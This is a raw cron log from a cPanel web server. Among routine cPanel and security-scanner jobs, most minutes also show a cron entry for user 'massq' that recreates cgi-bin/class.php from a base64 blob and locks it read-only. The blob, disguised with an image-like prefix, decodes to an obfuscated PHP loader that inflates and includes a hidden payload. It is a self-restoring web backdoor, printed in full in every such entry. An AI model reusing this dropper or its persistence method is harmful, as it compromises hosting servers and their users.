Sep  5 10:12:01 server CROND[29290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:12:01 server CROND[29291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:12:01 server CROND[29292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:12:01 server CROND[29293]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 10:13:01 server CROND[29662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:13:01 server CROND[29663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:13:01 server CROND[29664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:14:01 server CROND[30027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:14:01 server CROND[30028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:14:01 server CROND[30029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:15:01 server CROND[30506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:15:01 server CROND[30507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:15:01 server CROND[30510]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:15:01 server CROND[30513]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:15:01 server CROND[30520]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 10:15:01 server CROND[30518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:15:01 server CROND[30512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:15:01 server CROND[30519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:15:01 server CROND[30516]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 10:16:01 server CROND[31361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:16:01 server CROND[31360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:16:01 server CROND[31362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:17:01 server CROND[31768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:17:01 server CROND[31769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:17:01 server CROND[31770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:18:01 server CROND[32200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:18:01 server CROND[32202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:18:01 server CROND[32199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:19:01 server CROND[32569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:19:01 server CROND[32570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:19:01 server CROND[32571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:20:01 server CROND[607]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:20:01 server CROND[605]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:20:01 server CROND[610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:20:01 server CROND[617]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:20:01 server CROND[619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:20:01 server CROND[620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:20:01 server CROND[623]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 10:20:01 server CROND[624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:20:01 server CROND[615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:21:01 server CROND[1569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:21:01 server CROND[1570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:21:01 server CROND[1571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:22:01 server CROND[1949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:22:01 server CROND[1950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:22:01 server CROND[1952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:23:01 server CROND[2354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:23:01 server CROND[2355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:23:01 server CROND[2356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:24:01 server CROND[2765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:24:01 server CROND[2764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
